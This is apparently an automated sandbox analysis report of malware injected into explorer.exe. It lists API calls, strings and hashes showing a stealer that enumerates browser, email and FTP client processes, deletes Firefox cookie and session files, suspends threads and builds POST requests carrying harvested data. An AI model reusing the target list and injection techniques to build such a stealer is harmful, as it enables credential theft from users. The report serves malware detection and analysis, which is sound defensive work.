Source File: 00000009.00000002.3926517846.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3221000_explorer.jbxd

Similarity

API ID: FileHeap$Findwsprintf$CloseFirstFolderNextPathProcessProcess32Speciallstrcat$AllocateAttributesCreateDeleteFreeHandleSleepSnapshotToolhelp32lstrcmpi
String ID: %s%s$*.*$\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\$iexplore.exe$microsoftedge.exe$microsoftedgecp.exe
API String ID: 2436889709-3669280581
Opcode ID: 7c38492aed142707d7b5b6de689553ff60555c24d497951bd7777a4dcf176165
Instruction ID: da77a28de15ad1e39bff4ef76d4ac30d5a53d4a1d732c294130b06e9dc4587d7
Opcode Fuzzy Hash: 7c38492aed142707d7b5b6de689553ff60555c24d497951bd7777a4dcf176165
Instruction Fuzzy Hash: 7D1170343703613BE624B7676C99F3E2D5ADBE6F41F450018FA06AA2C4CED819D08279

Function 03223132 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 141
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000), ref: 0322322D
wsprintfA.USER32 ref: 0322329E
lstrcat.KERNEL32(00000000,00000000), ref: 032232AF
lstrcat.KERNEL32(00000000,{:!:}), ref: 032232BE
lstrlen.KERNEL32(00000000), ref: 032232C1
RtlMoveMemory.NTDLL(00000000,?,?), ref: 032232D2

Part of subcall function 03221011: GetProcessHeap.KERNEL32(00000000,00000000,00000000,032214CB), ref: 03221020
Part of subcall function 03221011: HeapFree.KERNEL32(00000000), ref: 03221027

Strings

{:!:}, xrefs: 032232B8
POST, xrefs: 0322327F
%s{:!:}%s{:!:}%s{:!:}, xrefs: 03223298

Memory Dump Source

Source File: 00000009.00000002.3926517846.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3221000_explorer.jbxd

Similarity

API ID: Heaplstrcatlstrlen$FreeMemoryMoveProcesswsprintf
String ID: %s{:!:}%s{:!:}%s{:!:}$POST${:!:}
API String ID: 3430864794-1604029033
Opcode ID: 48e3c9db3f76ff5854a7315b56ad48ffe4a8549ee4a62f583aee0a03fbeaf6d5
Instruction ID: dd4133500aa42c584bed1fe6f98198a614fab987f1f1ee012134b866ad4ab28b
Opcode Fuzzy Hash: 48e3c9db3f76ff5854a7315b56ad48ffe4a8549ee4a62f583aee0a03fbeaf6d5
Instruction Fuzzy Hash: 86418F75104355BFD320EF10DC48E6BBBECFB94345F044A2EF94296241DBB5AA48CBA2

Function 03223449 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 109
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.NTDLL(03226038), ref: 03223455
lstrcat.KERNEL32 ref: 032234AB

Part of subcall function 03222FAA: RtlZeroMemory.NTDLL(?,0000000A), ref: 03222FFA
Part of subcall function 03222FAA: StrToIntA.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,03223347), ref: 03223024
Part of subcall function 03222FAA: lstrlen.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,03223347), ref: 03223052
Part of subcall function 03222FAA: wsprintfA.USER32 ref: 032230B9
Part of subcall function 03222FAA: lstrcat.KERNEL32(00000000,00000000), ref: 032230E5

Part of subcall function 03222F1F: CreateThread.KERNEL32(00000000,00000000,03222ED2,?,00000000,00000000), ref: 03222F2F
Part of subcall function 03222F1F: CloseHandle.KERNEL32(00000000,?,00000000,00000000), ref: 03222F36

Part of subcall function 0322105D: VirtualFree.KERNEL32(?,00000000,00008000,03222B4B), ref: 03221065

RtlZeroMemory.NTDLL(0000000A,0000000A), ref: 03223504
StrToIntA.SHLWAPI(?,00000000,?), ref: 0322352B
RtlMoveMemory.NTDLL(00000000,?,-00000003), ref: 0322358D
RtlLeaveCriticalSection.NTDLL(03226038), ref: 032235C1

Part of subcall function 03221274: VirtualQuery.KERNEL32(?,?,0000001C), ref: 03221281

Strings

Content-Length:, xrefs: 0322350E
, xrefs: 0322353D
POST, xrefs: 032234F1

Memory Dump Source

Source File: 00000009.00000002.3926517846.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3221000_explorer.jbxd

Similarity

API ID: Memory$CriticalSectionVirtualZerolstrcat$CloseCreateEnterFreeHandleLeaveMoveQueryThreadlstrlenwsprintf
String ID: $Content-Length:$POST
API String ID: 2960674810-114478848
Opcode ID: 36cecb3efe401ba15b9d1ec0bad8c8e80254e825ccd4a66fa27eb575bca67d19
Instruction ID: 0bc6c0205b026079597c781345f5f2f3b16c94aa6fa11c5f7ef7ad1fe6cb6f1d
Opcode Fuzzy Hash: 36cecb3efe401ba15b9d1ec0bad8c8e80254e825ccd4a66fa27eb575bca67d19
Instruction Fuzzy Hash: 0B312A7A624361BFC725FF20BC4CAA97F6ABB58200F08401CE9054B249CBF9D69DCB51

Function 032216C7 Relevance: 15.1, APIs: 10, Instructions: 51threadprocessinjectionCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 032216D9
GetCurrentThreadId.KERNEL32 ref: 032216E1
CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 032216F1
Thread32First.KERNEL32(00000000,0000001C), ref: 032216FF
OpenThread.KERNEL32(001FFFFF,00000000,?), ref: 0322171E
SuspendThread.KERNEL32(00000000), ref: 0322172E
CloseHandle.KERNEL32(00000000), ref: 0322173D
Thread32Next.KERNEL32(00000000,0000001C), ref: 0322174D
CloseHandle.KERNEL32(00000000), ref: 03221758

Memory Dump Source

Source File: 00000009.00000002.3926517846.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3221000_explorer.jbxd

Similarity

API ID: Thread$CloseCurrentHandleThread32$CreateFirstNextOpenProcessSnapshotSuspendToolhelp32
String ID:
API String ID: 1467098526-0
Opcode ID: 08afa3fbfc963ed974e460ae903e105b06fc2a61f5145ef52170afbf0830b411
Instruction ID: be690fc96a3f3eac93291db286553231d52a2a7006d2649c6325e9dd0800efd0
Opcode Fuzzy Hash: 08afa3fbfc963ed974e460ae903e105b06fc2a61f5145ef52170afbf0830b411
Instruction Fuzzy Hash: 2911A032418211FBD325BF61AC4CA6ABFB8EF95B01F048419FA4582144D33096C98BA7

Function 032236A1 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 37sleepstringCOMMON

Download Yara Rule

APIs

Part of subcall function 03221363: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 03221374
Part of subcall function 03221363: Process32First.KERNEL32(00000000,?), ref: 03221393
Part of subcall function 03221363: CloseHandle.KERNEL32(00000000), ref: 032213CB

Sleep.KERNEL32(000003E8,?,00000000,?,03223834,?,03223C53,00000001), ref: 032236B3

Part of subcall function 03221000: GetProcessHeap.KERNEL32(00000008,00000208,03221418), ref: 03221003
Part of subcall function 03221000: RtlAllocateHeap.NTDLL(00000000), ref: 0322100A

SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000,?,00000000,?,03223834,?,03223C53,00000001), ref: 032236CC
lstrcatW.KERNEL32(00000000,\Mozilla\Firefox\Profiles\,?,00000000,?,03223834,?,03223C53,00000001), ref: 032236DC

Part of subcall function 032214D8: wsprintfW.USER32 ref: 0322150D
Part of subcall function 032214D8: FindFirstFileW.KERNEL32(00000000,?), ref: 0322151C
Part of subcall function 032214D8: wsprintfW.USER32 ref: 03221557
Part of subcall function 032214D8: SetFileAttributesW.KERNEL32(00000000,00000020), ref: 0322156A
Part of subcall function 032214D8: DeleteFileW.KERNEL32(00000000), ref: 03221571
Part of subcall function 032214D8: FindNextFileW.KERNEL32(00000000,00000010), ref: 03221584
Part of subcall function 032214D8: FindClose.KERNEL32(00000000), ref: 0322158F

Strings

\Mozilla\Firefox\Profiles\, xrefs: 032236D6
cookies.sqlite, xrefs: 032236E4
sessionstore.*, xrefs: 032236F2
firefox.exe, xrefs: 032236A4

Memory Dump Source

Source File: 00000009.00000002.3926517846.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3221000_explorer.jbxd

Similarity

API ID: File$Find$CloseFirstHeapwsprintf$AllocateAttributesCreateDeleteFolderHandleNextPathProcessProcess32SleepSnapshotSpecialToolhelp32lstrcat
String ID: \Mozilla\Firefox\Profiles\$cookies.sqlite$firefox.exe$sessionstore.*
API String ID: 2731919298-637609321
Opcode ID: 78aa6dcca780958efb9f3744312da8236144d2d2974b1e9b545dd83348664e62
Instruction ID: e087323ed354adb035f354cb7e52ba086c224fe8def253e334543640e986efe9
Opcode Fuzzy Hash: 78aa6dcca780958efb9f3744312da8236144d2d2974b1e9b545dd83348664e62
Instruction Fuzzy Hash: 69F0A015320270339628B36B6C0CD7F1D5ECBE6F52700411CB60A9A680CE941AC282B9

Function 0322186C Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 03221000: GetProcessHeap.KERNEL32(00000008,00000208,03221418), ref: 03221003
Part of subcall function 03221000: RtlAllocateHeap.NTDLL(00000000), ref: 0322100A

Part of subcall function 0322106C: lstrlen.KERNEL32(?,?,00000000,00000000,0322189F,75568A60,?,00000000), ref: 03221074
Part of subcall function 0322106C: MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000001,00000000,00000000), ref: 03221086

Part of subcall function 032217DC: RtlZeroMemory.NTDLL(?,00000018), ref: 032217EE

RtlZeroMemory.NTDLL(?,0000003C), ref: 032218FB
wsprintfW.USER32 ref: 032219F2
RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 03221AD0

Strings

Accept: */*Referer: %S, xrefs: 032219E8
POST, xrefs: 032219A0
Content-Type: application/x-www-form-urlencoded, xrefs: 03221A34

Memory Dump Source

Source File: 00000009.00000002.3926517846.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3221000_explorer.jbxd

Similarity

API ID: Memory$HeapZero$AllocateByteCharMoveMultiProcessWidelstrlenwsprintf
String ID: Accept: */*Referer: %S$Content-Type: application/x-www-form-urlencoded$POST
API String ID: 3833683434-704803497
Opcode ID: 095d69de1066dc4a75eb62c5f64d2e28718e11f256a06a5879fb4a9261ec45b1
Instruction ID: e1a9d8e37af913f008a1a3ed3a4d6dfc11d676136bfc72ef4870125e8c3c2b2b
Opcode Fuzzy Hash: 095d69de1066dc4a75eb62c5f64d2e28718e11f256a06a5879fb4a9261ec45b1
Instruction Fuzzy Hash: FC818975208311BFD720EF6A9C88E2BBBE9FB88644F04492DF945C7250DB70EA50CB52

Function 032223E3 Relevance: 10.7, APIs: 4, Strings: 3, Instructions: 190stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0322104C: VirtualAlloc.KERNEL32(00000000,00001105,00003000,00000040,03222A16,?,00000001), ref: 03221056

lstrcat.KERNEL32(?,00000000), ref: 032225BB
lstrcat.KERNEL32(?,032242A8), ref: 032225C7
lstrcat.KERNEL32(?,?), ref: 032225D6
lstrcat.KERNEL32(?,032242AC), ref: 032225E5

Strings

dyn_header, xrefs: 032224C8
:authority, xrefs: 0322243A
?, xrefs: 03222463

Memory Dump Source

Source File: 00000009.00000002.3926517846.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3221000_explorer.jbxd

Similarity

API ID: lstrcat$AllocVirtual
String ID: :authority$?$dyn_header
API String ID: 3028025275-1785586894
Opcode ID: 26e2355f025e5d94b3a46547df72bc363dda7881bab02ec9514598051bdd64e9
Instruction ID: 8fe087cddc882dc56cb85d152b33dd464245e87a275a756d9b01c57d3ccc2478
Opcode Fuzzy Hash: 26e2355f025e5d94b3a46547df72bc363dda7881bab02ec9514598051bdd64e9
Instruction Fuzzy Hash: 50616C72528333EFC754EE21DD8067ABFD5AB94210F040D1DE8815B282CBBA998DC762

Function 03221363 Relevance: 7.5, APIs: 5, Instructions: 39processstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 03221374
Process32First.KERNEL32(00000000,?), ref: 03221393
lstrcmpiA.KERNEL32(?), ref: 032213A3
Process32Next.KERNEL32(00000000,00000128), ref: 032213C0
CloseHandle.KERNEL32(00000000), ref: 032213CB

Memory Dump Source

Source File: 00000009.00000002.3926517846.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3221000_explorer.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcmpi
String ID:
API String ID: 868014591-0
Opcode ID: 957f841718a245a3817fc22bbe14797f4d663c827994ff89b50451b9ade32446
Instruction ID: adab2f78e2edc990c751dc6f55f6fa938eee1b72f600fab9ad37885f85ef026b
Opcode Fuzzy Hash: 957f841718a245a3817fc22bbe14797f4d663c827994ff89b50451b9ade32446
Instruction Fuzzy Hash: 7AF0C831511124BBD734BA26AC0CFDE7BBCEB59721F0001A0F849D2184EB745AE48A94

Function 032228AD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON

Download Yara Rule

APIs

Part of subcall function 03221141: lstrlen.KERNEL32(?,?,?,00000000,?,032229DD,00000001), ref: 03221150
Part of subcall function 03221141: lstrlen.KERNEL32(:method POST,?,00000000,?,032229DD,00000001), ref: 03221155

RtlMoveMemory.NTDLL(?,?,-00000008), ref: 0322291B
lstrcat.KERNEL32(?,032242BC), ref: 0322292A
lstrlen.KERNEL32(?,75568A60,00000001,?,?,00000000,?,?,03222B26,?,?,?,?,00000001), ref: 0322295C

Strings

cookie , xrefs: 032228D4, 0322293C

Memory Dump Source

Source File: 00000009.00000002.3926517846.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3221000_explorer.jbxd

Similarity

API ID: lstrlen$MemoryMovelstrcat
String ID: cookie
API String ID: 2957667536-1295510418
Opcode ID: d864b41c01231658d1fd7f27f0548662a5d8abba346d165195e3dc8099f63684
Instruction ID: 6370ad6371f14c7595fd741d8edbc922a7a3d8a2a50110acfa6f6825de6c7e49
Opcode Fuzzy Hash: d864b41c01231658d1fd7f27f0548662a5d8abba346d165195e3dc8099f63684
Instruction Fuzzy Hash: 97110D32314326BBC710EE5ADC85BABBED9DB90700F28092DF80197241EBB3E9C54751

Function 032212AA Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000400,00000000), ref: 032212BC
IsWow64Process.KERNEL32(000000FF,?), ref: 032212CE
IsWow64Process.KERNEL32(00000000,?), ref: 032212E1
CloseHandle.KERNEL32(00000000), ref: 032212F7

Memory Dump Source

Source File: 00000009.00000002.3926517846.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3221000_explorer.jbxd

Similarity

API ID: Process$Wow64$CloseHandleOpen
String ID:
API String ID: 331459951-0
Opcode ID: 430da6f9fefa63fd14265bfa4326e3661f5a846aa2ea7cbdab9747c66164ba46
Instruction ID: 0d999b48c1a3b2a332668fbecd913a25220c32cac35dcaa71708f9f997db301f
Opcode Fuzzy Hash: 430da6f9fefa63fd14265bfa4326e3661f5a846aa2ea7cbdab9747c66164ba46
Instruction Fuzzy Hash: 06F09071816239FF9B24EFA1AD48CEEBB6CEB01251F14936AF801D2140DB315F819AA1

Function 032232F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(03226038), ref: 03223332
RtlLeaveCriticalSection.NTDLL(03226038), ref: 03223358

Strings

POST, xrefs: 03223338

Memory Dump Source

Source File: 00000009.00000002.3926517846.0000000003221000.00000040.80000000.00040000.00000000.sdmp, Offset: 03221000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3221000_explorer.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: POST
API String ID: 3168844106-1814004025
Opcode ID: a2939d15fa6959ee66b77e96300b2b0b2d73b59d15e8df785dc1ffa97d57c028
Instruction ID: f67b3966c922d5fbf24f4cc7a85c7ededb2646a4728afcfbb0f266f7eca8266b
Opcode Fuzzy Hash: a2939d15fa6959ee66b77e96300b2b0b2d73b59d15e8df785dc1ffa97d57c028
Instruction Fuzzy Hash: 3201A23A520224FBCB31AF11EC4CC5E7F29FF8566171C4410F60986125CF79CAD096E0

Analysis Process: explorer.exePID: 2976, Parent PID: 4084COMMON

Execution Graph

Execution Coverage:	6.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	20
Total number of Limit Nodes:	3

Executed Functions

Function 00D95300 Relevance: 1.6, APIs: 1, Instructions: 71
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 00D95378

Memory Dump Source

Source File: 0000000A.00000002.3926288254.0000000000D91000.00000040.80000000.00040000.00000000.sdmp, Offset: 00D91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d91000_explorer.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: a5808401f40c052098661eb7ec96139c2b9ca3f0c031a4bcca73572e40d2a868
Instruction ID: 0202f37d1a21ba4fe78f81e2dacbdecfb4c7612e4d37c09a32eab487db758b99
Opcode Fuzzy Hash: a5808401f40c052098661eb7ec96139c2b9ca3f0c031a4bcca73572e40d2a868
Instruction Fuzzy Hash: 10112534601D094FEF5EFBB8A4993793395FB15302F58013AE41AC72A6DE39CA818330

Function 00D95104 Relevance: 9.2, APIs: 6, Instructions: 168
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D91B74: OpenFileMappingA.KERNEL32 ref: 00D91B8B
Part of subcall function 00D91B74: MapViewOfFile.KERNELBASE ref: 00D91BAA

SysFreeMap.PGOCR ref: 00D951A9
CreateToolhelp32Snapshot.KERNEL32 ref: 00D951B3
Process32First.KERNEL32 ref: 00D951D6
Process32Next.KERNEL32 ref: 00D952D9
CloseHandle.KERNELBASE ref: 00D952EA
SleepEx.KERNELBASE ref: 00D952F5

Memory Dump Source

Source File: 0000000A.00000002.3926288254.0000000000D91000.00000040.80000000.00040000.00000000.sdmp, Offset: 00D91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d91000_explorer.jbxd

Similarity

API ID: FileProcess32$CloseCreateFirstFreeHandleMappingNextOpenSleepSnapshotToolhelp32View
String ID:
API String ID: 2838107584-0
Opcode ID: b08314583b3292b42ea9aaba231a76af201b60a4b1773454188c57f449f80528
Instruction ID: a2278c2b6b6f65b8576a0712359180e3708f9389c6de9b1a863b6eb0a6565c46
Opcode Fuzzy Hash: b08314583b3292b42ea9aaba231a76af201b60a4b1773454188c57f449f80528
Instruction Fuzzy Hash: 5A517730204E098FEF5AEF68E899AA973E1FB94301F444729E44BC71A5DF78D905C7A1

Function 00D9D748 Relevance: 4.7, APIs: 3, Instructions: 246
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,?,?,?,?,?,F6171042,?,2EC0275B), ref: 00D9D847
VirtualProtect.KERNELBASE(?,?,?,?,?,?,?,-00000003), ref: 00D9D8E5
VirtualProtect.KERNELBASE ref: 00D9D903

Memory Dump Source

Source File: 0000000A.00000002.3926288254.0000000000D9C000.00000040.80000000.00040000.00000000.sdmp, Offset: 00D9C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d9c000_explorer.jbxd

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 95f77aaacabe58910e5c9c5c8887ec348e2c323c674e048d1baf7834c42d2dbf
Instruction ID: 97ec423f4080a91f5edac6383836aba4370f5149e8e0ff6267192e0c183d4e60
Opcode Fuzzy Hash: 95f77aaacabe58910e5c9c5c8887ec348e2c323c674e048d1baf7834c42d2dbf
Instruction Fuzzy Hash: 6951583265891D4BCF24AA7C9CC43F5B7D2FB59325B58063AC4DAC3286EA58D846C3A1

Function 00D91B74 Relevance: 3.0, APIs: 2, Instructions: 40
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenFileMappingA.KERNEL32 ref: 00D91B8B
MapViewOfFile.KERNELBASE ref: 00D91BAA

Memory Dump Source

Source File: 0000000A.00000002.3926288254.0000000000D91000.00000040.80000000.00040000.00000000.sdmp, Offset: 00D91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d91000_explorer.jbxd

Similarity

API ID: File$MappingOpenView
String ID:
API String ID: 3439327939-0
Opcode ID: 91acf1a8eced4a93386cc206dc094dd57211145f7045cabbad6f077073a0bd29
Instruction ID: 34260680a0de21a2122676161a6a1a52380837dcd61023cfceb71d7bc175a71e
Opcode Fuzzy Hash: 91acf1a8eced4a93386cc206dc094dd57211145f7045cabbad6f077073a0bd29
Instruction Fuzzy Hash: 5FF08235314F094FAB44EF7C9C8C136B7E1EBA8202B04867E984AC7164EF34C8808711

Function 00D93F20 Relevance: 1.3, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrStrIA.KERNELBASE ref: 00D93F38

Memory Dump Source

Source File: 0000000A.00000002.3926288254.0000000000D91000.00000040.80000000.00040000.00000000.sdmp, Offset: 00D91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_d91000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff82d68b917e3fc31d0b9a1cb0f2d3a54b363e9994e49f468131ccfdc4c4d25c
Instruction ID: 289dd54117b555261d1004c836f1f85964f2fa47907cdb0a344ebe705251a5e0
Opcode Fuzzy Hash: ff82d68b917e3fc31d0b9a1cb0f2d3a54b363e9994e49f468131ccfdc4c4d25c
Instruction Fuzzy Hash: C6E04F30708B095B9B48EFA9A8D853732E1DBAC311B54423DB419C7154DA78CA458761

Analysis Process: explorer.exePID: 7064, Parent PID: 4084COMMON

Execution Graph

Execution Coverage:	10.3%
Dynamic/Decrypted Code Coverage:	97.4%
Signature Coverage:	0%
Total number of Nodes:	306
Total number of Limit Nodes:	42

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 03001016 Relevance: 89.5, APIs: 30, Strings: 21, Instructions: 244
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03002608: VirtualQuery.KERNEL32(03004434,?,0000001C), ref: 03002615

Part of subcall function 03002861: GetProcessHeap.KERNEL32(00000008,0000A000,030010CC), ref: 03002864
Part of subcall function 03002861: RtlAllocateHeap.NTDLL(00000000), ref: 0300286B

RtlMoveMemory.NTDLL(00000000,?,00000363), ref: 03001038
RtlMoveMemory.NTDLL(00000000,?,?), ref: 0300106B
NtUnmapViewOfSection.NTDLL(000000FF,?), ref: 03001074
GetCurrentProcessId.KERNEL32(?,03001010), ref: 0300107A
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 030010DF
Process32First.KERNEL32(00000000,?), ref: 030010FE
lstrcmpiA.KERNEL32(?,firefox.exe), ref: 0300111A
lstrcmpiA.KERNEL32(?,iexplore.exe), ref: 0300112E
lstrcmpiA.KERNEL32(?,chrome.exe), ref: 03001142
lstrcmpiA.KERNEL32(?,opera.exe), ref: 03001156
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 03001166
lstrcmpiA.KERNEL32(?,outlook.exe), ref: 0300117A
lstrcmpiA.KERNEL32(?,thebat.exe), ref: 0300118E
lstrcmpiA.KERNEL32(?,thebat32.exe), ref: 030011A2
lstrcmpiA.KERNEL32(?,thebat64.exe), ref: 030011B6
lstrcmpiA.KERNEL32(?,thunderbird.exe), ref: 030011CA
lstrcmpiA.KERNEL32(?,filezilla.exe), ref: 030011DE
lstrcmpiA.KERNEL32(?,smartftp.exe), ref: 030011F2
lstrcmpiA.KERNEL32(?,winscp.exe), ref: 03001206
lstrcmpiA.KERNEL32(?,flashfxp.exe), ref: 03001216
lstrcmpiA.KERNEL32(?,cuteftppro.exe), ref: 03001226
lstrcmpiA.KERNEL32(?,mailmaster.exe), ref: 03001236
lstrcmpiA.KERNEL32(?,263em.exe), ref: 03001246
lstrcmpiA.KERNEL32(?,foxmail.exe), ref: 03001256
lstrcmpiA.KERNEL32(?,alimail.exe), ref: 03001266
lstrcmpiA.KERNEL32(?,mailchat.exe), ref: 03001276
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 030012B4
Process32Next.KERNEL32(00000000,00000128), ref: 0300130B
CloseHandle.KERNELBASE(00000000), ref: 0300131C
Sleep.KERNELBASE(000003E8), ref: 03001327

Strings

thebat.exe, xrefs: 03001184
smartftp.exe, xrefs: 030011E8
flashfxp.exe, xrefs: 0300120C
foxmail.exe, xrefs: 0300124C
cuteftppro.exe, xrefs: 0300121C
0-FwP,Fw, xrefs: 03001074
winscp.exe, xrefs: 030011FC
firefox.exe, xrefs: 03001114
mailchat.exe, xrefs: 0300126C
thunderbird.exe, xrefs: 030011C0
alimail.exe, xrefs: 0300125C
chrome.exe, xrefs: 03001138
263em.exe, xrefs: 0300123C
thebat32.exe, xrefs: 03001198
outlook.exe, xrefs: 03001170
microsoftedgecp.exe, xrefs: 030010D2, 03001160, 030012AE
opera.exe, xrefs: 0300114C
thebat64.exe, xrefs: 030011AC
iexplore.exe, xrefs: 03001124
filezilla.exe, xrefs: 030011D4
mailmaster.exe, xrefs: 0300122C

Memory Dump Source

Source File: 0000000B.00000002.3926530110.0000000003001000.00000040.80000000.00040000.00000000.sdmp, Offset: 03001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3001000_explorer.jbxd

Yara matches

Similarity

API ID: lstrcmpi$HeapMemoryMoveProcessProcess32$AllocateCloseCreateCurrentFirstHandleNextQuerySectionSleepSnapshotToolhelp32UnmapViewVirtual
String ID: 0-FwP,Fw$263em.exe$alimail.exe$chrome.exe$cuteftppro.exe$filezilla.exe$firefox.exe$flashfxp.exe$foxmail.exe$iexplore.exe$mailchat.exe$mailmaster.exe$microsoftedgecp.exe$opera.exe$outlook.exe$smartftp.exe$thebat.exe$thebat32.exe$thebat64.exe$thunderbird.exe$winscp.exe
API String ID: 2555639992-2259378096
Opcode ID: c34259d2f86b7862835af5171028c3b4e836549d3fc6afbf07dd56f1630ba23a
Instruction ID: c2e38c66d8e85f4a3db730a8cc7acdc951b9d94ee96cc69f5db6fa9f26233d53
Opcode Fuzzy Hash: c34259d2f86b7862835af5171028c3b4e836549d3fc6afbf07dd56f1630ba23a
Instruction Fuzzy Hash: 8A71A638507305ABE749EBB1DD84E6F7BECAF45780F080969FA80C70C5DF64D5098A69

Function 030010A4 Relevance: 80.7, APIs: 26, Strings: 20, Instructions: 203
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03002861: GetProcessHeap.KERNEL32(00000008,0000A000,030010CC), ref: 03002864
Part of subcall function 03002861: RtlAllocateHeap.NTDLL(00000000), ref: 0300286B

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 030010DF
Process32First.KERNEL32(00000000,?), ref: 030010FE
lstrcmpiA.KERNEL32(?,firefox.exe), ref: 0300111A
lstrcmpiA.KERNEL32(?,iexplore.exe), ref: 0300112E
lstrcmpiA.KERNEL32(?,chrome.exe), ref: 03001142
lstrcmpiA.KERNEL32(?,opera.exe), ref: 03001156
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 03001166
lstrcmpiA.KERNEL32(?,outlook.exe), ref: 0300117A
lstrcmpiA.KERNEL32(?,thebat.exe), ref: 0300118E
lstrcmpiA.KERNEL32(?,thebat32.exe), ref: 030011A2
lstrcmpiA.KERNEL32(?,thebat64.exe), ref: 030011B6
lstrcmpiA.KERNEL32(?,thunderbird.exe), ref: 030011CA
lstrcmpiA.KERNEL32(?,filezilla.exe), ref: 030011DE
lstrcmpiA.KERNEL32(?,smartftp.exe), ref: 030011F2
lstrcmpiA.KERNEL32(?,winscp.exe), ref: 03001206
lstrcmpiA.KERNEL32(?,flashfxp.exe), ref: 03001216
lstrcmpiA.KERNEL32(?,cuteftppro.exe), ref: 03001226
lstrcmpiA.KERNEL32(?,mailmaster.exe), ref: 03001236
lstrcmpiA.KERNEL32(?,263em.exe), ref: 03001246
lstrcmpiA.KERNEL32(?,foxmail.exe), ref: 03001256
lstrcmpiA.KERNEL32(?,alimail.exe), ref: 03001266
lstrcmpiA.KERNEL32(?,mailchat.exe), ref: 03001276
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 030012B4
Process32Next.KERNEL32(00000000,00000128), ref: 0300130B
CloseHandle.KERNELBASE(00000000), ref: 0300131C
Sleep.KERNELBASE(000003E8), ref: 03001327

Strings

thebat.exe, xrefs: 03001184
smartftp.exe, xrefs: 030011E8
flashfxp.exe, xrefs: 0300120C
